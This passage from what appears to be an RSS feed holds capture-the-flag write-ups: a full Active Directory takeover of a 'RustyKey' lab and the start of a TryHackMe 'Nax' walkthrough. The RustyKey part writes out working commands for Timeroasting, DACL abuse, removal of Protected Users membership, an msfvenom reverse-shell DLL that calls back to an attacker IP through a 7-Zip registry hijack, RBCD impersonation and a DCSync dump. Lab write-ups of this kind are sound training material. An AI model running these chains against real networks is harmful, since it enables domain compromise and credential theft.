automatically generated ones.</li><li>This presents an opportunity to perform <strong>Timeroasting Attack</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zo_ty6QboUjaEjapw5XmIw.png" /><figcaption>Evidence of Manually Set Password</figcaption></figure><ul><li>Observing another Computer Account IT-Computer1$ the C<em>reated time</em> and <em>Password Last Set</em> time are the same</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jrTizor0KYN67-VZ6JP7Dw.png" /><figcaption>Evidence of Automatically Set Password</figcaption></figure><h3>Timeroasting Attack on IT-Computer3$</h3><p>Timeroasting abuses Microsoft’s NTP authentication extension, where a Domain Controller signs time-sync responses using a cryptographic Message Authentication Code (MAC) derived from the computer account’s NTLM hash. Because the DC does not authenticate NTP requests and relies only on a supplied RID, an attacker can request MACs for any computer account and obtain a crackable, password-derived value. If a machine uses weak or manually set password, the attacker can brute-force it offline and gain valid AD machine credentials.</p><h4>Execute Timeroast</h4><ul><li><strong>NetExec</strong> has a module for <strong>Timeroast Attack</strong></li></ul><pre>nxc smb 10.10.11.75 -M timeroast</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RJQmHPLz5mmYv7cjl6eZNA.png" /><figcaption>Timeroasting Attack and Extracting Hashes</figcaption></figure><p>We crack the hashes using <strong><em>hashcat</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x1vZNOlIgp61nT_pk4K2vQ.png" /><figcaption>Cracking with Hashcat</figcaption></figure><ul><li>The extracted RID 1125 when searched on Bloodhound, corresponds to IT-Computer3$</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CANwvTBoyiEgVJpWNVkMQA.png" /><figcaption>Cracked Password for RID 1125</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dtJNbAvmuJDLzgn3v8-OhA.png" /><figcaption>RID 1125 → IT-Computer3$</figcaption></figure><ul><li>We perform authentication to verify the validity of the password using nxc</li></ul><pre>nxc smb 10.10.11.75 -u IT-COMPUTER3$ -p &#39;Rusty88!&#39; -k</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eAKa1OnYKgvVC9mYjaMUIQ.png" /><figcaption>nxc Authentication for IT-Computer3$</figcaption></figure><ul><li>The credentials are valid!</li></ul><h3>ACL Abuse with IT-Computer3$</h3><h4>Add IT-Computer3$ to HelpDesk</h4><ul><li>We use bloodyAD tool to perform this DACL Attack:</li></ul><pre>bloodyAD --host dc.rustykey.htb --domain rustykey.htb --username &#39;IT-COMPUTER3$&#39; --password &#39;Rusty88!&#39; --kerberos  add groupMember Helpdesk &#39;IT-COMPUTER3$&#39;</pre><h4>Reset bb.morgan’s password</h4><ul><li>We now have the ability to reset passwords of users in the <strong><em>HelpDesk</em></strong> group</li></ul><pre>bloodyAD --host dc.rustykey.htb --domain rustykey.htb --username &#39;IT-COMPUTER3$&#39; --password &#39;Rusty88!&#39; --kerberos  set password bb.morgan &#39;Password123!&#39;</pre><ul><li>We now request a <strong>Ticket-Granting-Ticket (TGT)</strong> that will enable us to remotely login as bb.morgan</li></ul><pre>getTGT.py &#39;rustykey.htb/bb.morgan:Password123!&#39;</pre><ul><li>The login fails using the generated <strong>TGT</strong></li><li>bb.morgan belongs to the <strong><em>Protected Users</em></strong> group. <strong>Protected Users</strong> <em>cannot authenticate using NTLM</em>, <em>cannot use weaker Kerberos encryption types</em>, <em>cannot be delegated</em> and <em>cannot renew TGTs beyond the four-hour limit</em>; these restrictions normally prevent attackers from abusing their credentials or requesting kerberos tickets. By removing bb.morgan from the group, we restore the normal Kerberos behavior for the account.</li><li>Fortunately, we can remove users from <strong><em>Protected Users </em></strong>group, since we have <strong><em>write</em></strong> permissions on the group:</li></ul><pre>bloodyAD --host dc.rustykey.htb --domain rustykey.htb --username &#39;IT-COMPUTER3$&#39; --password &#39;Rusty88!&#39; --kerberos  get writable</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GQZpHInwiy9XNcYoWgbkkQ.png" /><figcaption>Checking for Write Permissions on Protected Objects</figcaption></figure><ul><li>Remove bb.morgan from <strong><em>Protected Users</em></strong> Group:</li></ul><pre>bloodyAD --host dc.rustykey.htb --domain rustykey.htb --username &#39;IT-COMPUTER3$&#39; --password &#39;Rusty88!&#39; --kerberos  remove groupMember &#39;Protected Objects&#39; &#39;IT&#39;</pre><ul><li>With these protections lifted, we attempt to again to request a Kerberos <strong>TGT </strong>for bb.morgan user.</li><li>This time the <strong>TGT</strong> is successfully issued, confirming that the account can perform <em>standard Kerberos authentication</em>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tp94on7vmZC4seeYQUkHaA.png" /></figure><ul><li>Since bb.morgan has Remote Login rights (<strong>WinRM</strong>), we use the issued ticket to authenticate and obtain a remote shell access via:</li></ul><pre>KRB5CCNAME=bb.morgan.ccache evil-winrm -i dc.rustykey.htb -r rustykey.htb</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TX6xf689yZaFlgd0nwQY4g.png" /><figcaption>Remote Shell Access as bb.morgan</figcaption></figure><h3>Privilege Escalation</h3><ul><li>After gaining remote access as the user bb.morgan via <strong>WinRM, </strong>enumeration of the user profile reveals two key artifacts: the user.txt flag file and an internal document (internal.pdf). The PDF reveals that the IT department is currently deploying a <strong>new file archiving feature</strong> intended to streamline support tickets related to<em> extraction and compression</em> tasks. During this rollout some systems are experiencing issues with <strong>context menu actions, </strong>requiring <strong>registry-level adjustments. </strong>To facilitate troubleshooting, the <strong>Support </strong>team has been granted <strong>temporary extended access</strong> across shared workstations.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*gDfuS7TETIYEvtTFw7Aigg.png" /><figcaption>Internal PDF</figcaption></figure><ul><li>Investigating this lead, we check installation paths and confirm that <strong>7-Zip </strong>is present under C:\Program Files , while no alternate archiving utilities are installed under C:\Program Files (x86) .</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0AKxG2M2KFGGiOta3fs-ng.png" /><figcaption>Archiving Tool Installation Path</figcaption></figure><ul><li>Since context menu shell extensions are typically registered under <strong>Class Identifiers</strong> (<strong>CLSID)</strong> entries, we enumerate the relevant registry keys using:</li></ul><pre>reg query HKCR\CLSID /s /f &quot;zip&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jxtROgmCvSv81fYwKoMZdg.png" /><figcaption>7-Zip Registry Key</figcaption></figure><ul><li>This reveals the <strong>CLSID</strong> associated with <strong>7-Zip’s</strong> shell extension.</li><li>Querying its <strong>ACL</strong>, shows that the <strong>Support </strong>group has Full Control over this registry path, which governs which DLL is loaded when a user clicks the <strong>archive/extract </strong>option in the context menu.</li></ul><pre>Get-ACL &quot;HKLM:\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32&quot; | Format-List</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DA5xCMM78eLSy4fJgcuzjw.png" /><figcaption>ACL for 7-Zip Registry Path</figcaption></figure><h4>Switching to ee.reed</h4><ul><li>Since we already know that ee.reed is a member of the <strong>Support</strong> group, using the same <strong>DACL-Abuse </strong>chain as before (adding IT-Computer3$ to HelpDesk , changing ee.reed ‘s password and removing Protected Users constraints), we proceed to obtain a valid <strong>TGT</strong> for the ee.reed account.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YGsdh5RhtjrHl12-opU6xA.png" /><figcaption>ee.reed memberof Support group</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OGKzkvCMWUdzMnfb8Za13w.png" /><figcaption>DACL-Abuse Chain for ee.reed and Remote Access Failure</figcaption></figure><ul><li>While a <strong>Kerberos TGT</strong> can be successfully issued for ee.reed , the account does not have the required level of <strong>WinRM</strong> <strong>login rights</strong>, preventing direct remote access.</li><li>To Bypass that limitation, runascs.exe is uploaded to the bb.morgan ‘s session, enabling a PowerShell session to be spawned as ee.reed .</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mzPStOINiYTxlZnhhDZ9EA.png" /><figcaption>Uploading runascs.exe</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8MxDy6omc6RO7WLOywVxHg.png" /><figcaption>Obtaining Remote PowerShell as ee.reed</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SZvJHvpUfPTxl874Tit-hQ.png" /><figcaption>ee.reed User Profile Enumeration</figcaption></figure><h4>Generating Malicious DLL</h4><ul><li>With this access, a malicious DLL reverse shell is generated using msfvenom :</li></ul><pre>msfvenom -p windows/x64/shell_reverse_tcp -f dll -o shell.dll LHOST=10.10.14.94 LPORT=9001</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RXjilaU2CpU-y26A_QlW2Q.png" /><figcaption>Malicious DLL Generation using msfvenom</figcaption></figure><ul><li>The DLL is the uploaded on ee.reed ‘s session:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fN4KniGQL8i_eobajOcK_g.png" /><figcaption>Uploading Malicious DLL</figcaption></figure><h4>Replacing the Handler DLL</h4><ul><li>We will leverage <strong>registry-based privilege misconfiguration</strong> to perform <strong>DLL Hijacking </strong>of the trusted shell extension (7-Zip).</li></ul><p><strong>Querying the CLSID Registry Entry</strong></p><pre>Get-ItemProperty &quot;HKLM:\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32&quot;</pre><ul><li>By inspecting this registry key, we can see the current DLL path that is executed by Windows.</li></ul><p><strong>Modifying the CLSID to Load a Malicious DLL</strong></p><pre>Set-ItemProperty &quot;HKLM:\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32&quot; -name &quot;(default)&quot; -value &quot;C:\ProgramData\shell.dll&quot;</pre><ul><li>This overwrites the (Default) value of the <strong>CLSID</strong> entry to point to the malicious DLL we have uploaded.</li><li>As a result, any action that triggers the <strong>7-Zip</strong> context menu extension will now execute the malicious DLL, effectively allowing code execution in the <strong>context of the user with the permissions to modify this key</strong>.</li></ul><p><strong>Preparing the Listener</strong></p><pre>rlwrap nc -nlvp 9001</pre><ul><li>With this, we will receive the reverse shell connection from the malicious DLL.</li><li>The use of rlwrap ensures proper readline support for interactive shell input/output.</li></ul><p><strong>Achieving Remote Code Execution</strong></p><ul><li>Once the malicious DLL is triggered (<strong>By invoking a context menu action that loads the 7-Zip extension</strong>), it initiates a connection back to our listener. After a minute or so, we receive a reverse shell as the mm.turner user.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yAy4bQaAz8bHNmTjuz6b8A.png" /><figcaption>Getting a Reverse Shell as mm.turner user</figcaption></figure><h3>Resource-Based Constrained Delegation (RBCD)</h3><ul><li>Upon enumeration, the mm.turner belongs to the <strong><em>DelegationManager </em></strong>group.</li><li>This group has <strong><em>AddAllowedToAct</em></strong> rights over the Domain Controller object, enabling <strong>Resource-Based Constrained Delegation (RBCD)</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2Mdb176KSElFECgerY-0ng.png" /><figcaption>mm.turner Belongs to the DelegationManager Group</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C-O_2eSK0raPikU61zacTg.png" /><figcaption>mm.turner is a member of DelegationManagerGroup</figcaption></figure><h4>Confirming No Existing Delegation Allowed</h4><pre>Get-ADComputer DC -Properties PrincipalsAllowedToDelegateToAccount</pre><ul><li>The returned object initially shows:</li></ul><pre>PrincipalsAllowedToDelegateToAccount : {}</pre><ul><li>This means that no principals currently have <strong>RBCD</strong> permissions over the Domain Controller, which is ideal for us.</li></ul><h4>Assigning IT-Computer3$ as an Allowed Delegation Principal</h4><pre>Set-ADComputer DC -PrincipalsAllowedToDelegateToAccount &#39;IT-COMPUTER3$&#39;</pre><ul><li>This sets the machine account IT-Computer3$ as a principal allowed to impersonate identities to the <strong>DC</strong>.</li><li>After running the command, verification shows:</li></ul><pre>PrincipalsAllowedToDelegateToAccount : {CN=IT-Computer3,OU=Computers,OU=IT,DC=rustykey,DC=htb}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QGH1_ig8hjNHRYk678mZdA.png" /><figcaption>Checking and Assigning the Delegation Principal</figcaption></figure><h4>Impersonating BackupAdmin via RBCD</h4><ul><li>We need to select a target user that can be <strong>impersonated via constrained delegation</strong> by reviewing the <strong><em>AccountNotDelegated</em></strong> Flag</li><li>We have two high value targets, Administrator user and BackupAdmin user accounts:</li></ul><pre>Get-ADUser Administrator -Properties AccountNotDelegated</pre><ul><li>The Administrator account is marked with the AccountNotDelegated flag:</li></ul><pre>AccountNotDelegated : True<br>DistinguishedName   : CN=Administrator,CN=Users,DC=rustykey,DC=htb<br>Enabled             : True<br>GivenName           : <br>Name                : Administrator<br>ObjectClass         : user<br>ObjectGUID          : b8ed1fa0-613e-4937-b5fb-3ae9978c9ffc<br>SamAccountName      : Administrator<br>SID                 : S-1-5-21-3316070415-896458127-4139322052-500<br>Surname             : <br>UserPrincipalName   : </pre><p>Hence,</p><ul><li>The account cannot be delegated under any form of <strong>Kerberos delegation</strong>.</li></ul><p>On the other hand:</p><pre>Get-ADUser BackupAdmin -Properties AccountNotDelegated</pre><ul><li>The BackupAdmin account does not have delegation protection enforced:</li></ul><pre>AccountNotDelegated : False<br>DistinguishedName   : CN=backupadmin,CN=Users,DC=rustykey,DC=htb<br>Enabled             : True<br>GivenName           : backupadmin<br>Name                : backupadmin<br>ObjectClass         : user<br>ObjectGUID          : adea093f-5ec8-4ac7-9da3-196a1b1fa37d<br>SamAccountName      : backupadmin<br>SID                 : S-1-5-21-3316070415-896458127-4139322052-3601<br>Surname             : <br>UserPrincipalName   : backupadmin@rustykey.htb</pre><p>This means:</p><ul><li>The BackupAdmin account is selected because it is not marked as <strong><em>AccountNotDelegated , </em></strong>making it eligible for <strong>RBCD impersonation</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aoiekMRdDv3SXsCtLqzGHg.png" /><figcaption>Checking the AccountNotDelegated Flag</figcaption></figure><h4>Generating a Service Ticket</h4><ul><li>A delegated service ticket is created:</li></ul><pre>getST.py &#39;rustykey.htb/IT-COMPUTER3$:Rusty88!&#39; -k -spn &#39;cifs/DC.rustykey.htb&#39; -impersonate backupadmin</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oIBg6_nSjmcScpoxBL3oKw.png" /><figcaption>Generating a Service Ticket</figcaption></figure><h4>Shell as BackupAdmin</h4><ul><li>The service ticket enables remote execution as BackupAdmin via <strong>WMI</strong></li></ul><pre>KRB5CCNAME=backupadmin@cifs_DC.rustykey.htb@RUSTYKEY.HTB.ccache wmiexec.py -k -no-pass &#39;rustykey.htb/backupadmin@dc.rustykey.htb&#39;</pre><h3>Final Escalation to Domain Administrator (DCSync)</h3><ul><li>Using BackupAdmin ‘s service ticket, a full <strong>DCSync </strong>is performed to extract <strong>NTLM</strong> hashes and the plaintext password for the <strong>Administrator</strong> account:</li></ul><pre>KRB5CCNAME=backupadmin@cifs_DC.rustykey.htb@RUSTYKEY.HTB.ccache secretsdump.py -k -no-pass &#39;rustykey.htb/backupadmin@dc.rustykey.htb&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tTdTQHGqDNS_EN5zscJkAg.png" /><figcaption>Performing DCSync to obtain Administrator Credentials</figcaption></figure><ul><li>Verification with nxc confirms the credentials are valid:</li><li>With Plaintext password</li></ul><pre>nxc smb 10.10.11.75 -u Administrator -p &#39;Rustyrc4key#!&#39; -k</pre><ul><li>With Domain Administrator Hash:</li></ul><pre>nxc smb 10.10.11.75 -u Administrator -H &#39;f7a351e12f70cc177a1d5bd11b28ac26&#39; -k</pre><blockquote>Note: There are two administrator hashes, one for the local administrator and the other one for the domain administrator, make sure to use the latter!</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O9iMD3WTR1ZFggIS0i-cwg.png" /><figcaption>nxc Authentication of Administrator’s Credentials</figcaption></figure><h4>Obtain Full Administrative Shell</h4><ul><li>We get the <strong>Domain Administrator shell</strong> and the <strong>root flag:</strong></li></ul><pre>psexec.py -k &#39;rustykey.htb/administrator:Rustyrc4key#!@dc.rustykey.htb&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_f5OMlSa28fzl4w1BIoH5w.png" /><figcaption>Domain Administrator Shell</figcaption></figure><p>Hurray we conquered the domain! Till next time!😎</p><h3>References</h3><ul><li><a href="https://cybersecurity.bureauveritas.com/uploads/whitepapers/Secura-WP-Timeroasting-v3.pdf">Timeroasting article by SecuraBV</a></li><li><a href="https://www.thehacker.recipes/ad/movement/dacl/">DACL Abuse By The Hacker Recipes</a></li><li><a href="https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd">RBCD By The Hacker Recipes</a></li><li><a href="https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group">Protected Users Security Group</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0fd745f64253" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Nax]]></title>
            <link>https://medium.com/@natius/tryhackme-nax-34268ef53262?source=rss-2b663cf34d6------2</link>
            <guid isPermaLink="false">https://medium.com/p/34268ef53262</guid>
            <category><![CDATA[metasploit]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[linux]]></category>
            <dc:creator><![CDATA[Natius]]></dc:creator>
            <pubDate>Sun, 12 Jan 2025 20:45:33 GMT</pubDate>
            <atom:updated>2025-01-14T10:32:12.469Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*HciExGYpzVXHyh3c56925w.png" /><figcaption>Nax Room</figcaption></figure><p>Imagine diving into a world of puzzles, mysterious clues, and hacking challenges inspired by the legendary Cicada 3301. Welcome to <a href="https://tryhackme.com/r/room/nax"><strong><em>Nax</em></strong></a>, a <a href="https://tryhackme.com/"><strong><em>TryHackMe</em></strong></a> room where you’ll test your detective skills and learn how to exploit a vulnerability in Nagios XI for remote code execution.</p><p>This challenge is a mix of cryptic codes, colorful art, and clever exploits. You’ll decode hints hidden in a periodic table, uncover secrets in an image file, and use powerful tools like <strong><em>Metasploit</em></strong> to break into a system. It’s a Cybersecurity playground where every clue brings you closer to the prize: capturing the flags and mastering the art of ethical hacking. Ready to embark on this enthralling adventure? Let’s get started!</p><h3>Task 1: Setting the stage</h3><ul><li>Before diving into the challenge, ensure your VPN connection is active by downloading the configuration file provided by TryHackMe and running:</li></ul><pre>sudo openvpn &lt;your-config-file.ovpn&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PIYaBdvZCQPBcumlwXJzuQ.png" /><figcaption>Setting up the VPN Connection</figcaption></figure><h3>Task 2: Flag</h3><ul><li>We need to create a dedicated directory to organize our work:</li></ul><pre>mkdir -p ~/THM/Nax &amp;&amp; cd ~/THM/Nax<br>mkdir nmap</pre><h4>Reconnaissance and Enumeration</h4><p><strong>Network Scanning with Nmap</strong></p><ul><li>Start by performing an nmap scan to identify open ports and services:</li></ul><pre>sudo nmap -sC -sV -oA nmap/nax &lt;target_ip&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MoLzeBU9nW3Tf5FQfPcb_A.png" /><figcaption>Performing Network Scan Using Nmap</figcaption></figure><ul><li>The scan reveals a web-server on port 80. Navigating to this server in a browser, you’re greeted with a Cicada-style banner and some intriguing element name abbreviations on the page.</li></ul><p><strong>Directory Enumeration with Gobuster</strong></p><ul><li>Install Gobuster and enumerate directories on the web-server:</li></ul><pre>sudo apt install gobuster<br>gobuster dir -u http://&lt;target_ip&gt;/ -w &lt;wordlist&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0IDGUp29TagacI2Qjl_TLQ.png" /><figcaption>Performing Directory Enumeration</figcaption></figure><ul><li>Since I am using <strong><em>Kali Linux</em></strong>, the distro includes a collection of pre-packaged wordlists located in the /usr/share/wordlists directory. You can explore this directory and select a wordlist that suits your needs.</li><li>Alternatively, you can utilize a well-maintained set of wordlists available in the <a href="https://github.com/danielmiessler/SecLists"><strong><em>Seclists </em></strong></a>repository.</li><li>/index.html: Mirrors the homepage</li><li>/index.php: redirects to a <strong><em>Nagios XI</em></strong> login</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t8pfJi_XkQjc07SVc82h4Q.png" /><figcaption>Nagios XI Homepage</figcaption></figure><ul><li>Since no credentials were available, brute-forcing using commonly used passwords was attempted; however, the approach was unsuccessful.</li><li>Exploring other URL paths also yielded no significant findings.</li></ul><h4><strong>Decoding the Periodic Table Puzzle</strong></h4><ul><li>Returning to the homepage, we notice the element abbreviations displayed might hold a clue.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K4wG5kPRFI7utHm_WtfgvQ.png" /><figcaption>Nagios XI Homepage with the Elements Displayed</figcaption></figure><ul><li>The elements Ag, Hg, Ta, Sb, Po, Pd, Hg, Pt, and Lr — somewhat suggested a periodic table puzzle.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*4ezbRNZZGzv0A5l-W0Si_Q.png" /><figcaption>Image by <a href="https://www.thoughtco.com/printable-periodic-table-3975968">ThoughCo.</a></figcaption></figure><ul><li>Mapping these elements to their corresponding atomic numbers sparked an idea: could these numbers represent <strong><em>ASCII</em></strong> characters?🤔</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JJyFZ_1uKz-wO-HUCSysDA.png" /><figcaption>Mapping Elements to Atomic Numbers</figcaption></figure><ul><li>With <a href="https://www.python.org/"><strong><em>Python</em></strong></a><strong><em> </em></strong>being our favorite tool for scripting, we mapped the atomic numbers to their <strong><em>ASCII</em></strong> equivalents.</li></ul><pre>atomic_numbers = [47, 80, 73, 51, 84, 46, 80, 78, 103]<br>for atomic_number in atomic_numbers:<br>    print(chr(atomic_number), end=&quot;&quot;)</pre><ul><li>The result, /PI3T.PNg, hinted at a potential file path.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SW-X8tQyCU8QyDjNlzFDgA.png" /><figcaption>Python Script</figcaption></figure><ul><li>Accessing http://10.10.109.255//PI3T.PNg revealed a PNG file with a colorful border. Remember to replace the IP address with your own!</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0m_fXavTKDf61Y_rtYZqPQ.png" /><figcaption>PI3T.PNg</figcaption></figure><h4><strong>Performing Forensics on the Image File</strong></h4><ul><li>Using the exiftool, we discovered the image’s artist <strong><em>Piet Mondrian</em></strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cOKvQZKLNKzsTagxCwzVAg.png" /><figcaption>Image Forensics using exiftool</figcaption></figure><ul><li>Performed further forensics on the image file using the strings utility. However, this did not reveal any interesting information.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p9ctwvAqjrGap7CzGHLqJg.png" /><figcaption>Image Forensics using strings utility</figcaption></figure><ul><li>After doing a quick <a href="https://en.wikipedia.org/wiki/Piet_Mondrian"><strong><em>google search</em></strong></a>, We learn that <strong><em>Mondrian</em></strong> inspired the <strong><em>Piet</em></strong> programming language, which interprets images as code.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FixtGKbPlcBDR3pisO1eYg.png" /><figcaption>Piet Mondrian Biography</figcaption></figure><ul><li>Piet language was designed by <strong><em>David Morgan-Mar</em></strong>.</li><li>Learn more about Piet Programming language <a href="https://www.bertnase.de/npiet/"><strong><em>here</em></strong></a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c6p6BBbCNHlVHsL0uDGpBA.png" /><figcaption>Piet Programming language</figcaption></figure><ul><li>To experiment with Piet programming language, an online tool <a href="https://www.bertnase.de/npiet/npiet-execute.php"><strong><em>npiet</em></strong></a><strong><em> </em></strong>is available. This tool supports interpreting <strong><em>Piet</em></strong> programs encoded in <strong><em>PPM</em></strong>, <strong><em>PNG</em></strong> and <strong><em>GIF</em></strong> formats, specifically from <strong><em>version 0.3a</em></strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qg-5YLIHh9Kr_3h7Y8IeRQ.png" /><figcaption>Online Tool npiet</figcaption></figure><ul><li>Using the downloaded PNG file, we uploaded it to the <strong><em>npiet</em></strong> online interpreter to analyze its contents. The tool processed the file and returned some intriguing data. Based on the provided hint — <strong><em>%</em></strong> <strong><em>is a separator </em></strong>— we are able to decipher the output, revealing the <strong><em>username </em></strong>and <strong><em>password</em></strong> embedded within the image.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J1po1pVaAF_k-Mtc4feUAg.png" /><figcaption>npiet Tool Output</figcaption></figure><ul><li>For those who the online tool didn’t do the magic, <a href="https://www.gimp.org/"><strong><em>GIMP</em></strong></a><strong><em> </em></strong>can be used to first convert the <strong><em>PNG</em></strong> to <strong><em>PPM </em></strong>format.</li><li><strong>NB</strong>: Gimp didn’t work on my Kali Linux box, so I had to switch to my <strong><em>Ubuntu</em></strong> machine where all worked like a charm.</li><li>To install Gimp on a Linux distro:</li></ul><pre>sudo apt install gimp</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QEEybVITLzf4PfhOKxmoHw.png" /><figcaption>Opening the PNG Image using Gimp</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LbE1yyNw24f3tKwzU82fTw.png" /><figcaption>Viewing the PNG File</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3pzEs-GkMBN6iXE4hGctEg.png" /><figcaption>Exporting the PNG File into PPM Format</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/1*7QPitSO6nAQ4PHPZc0C-9Q.png" /><figcaption>Selecting a Name for the Exported File with the .ppm extension</figcaption></figure><figure><img alt="" 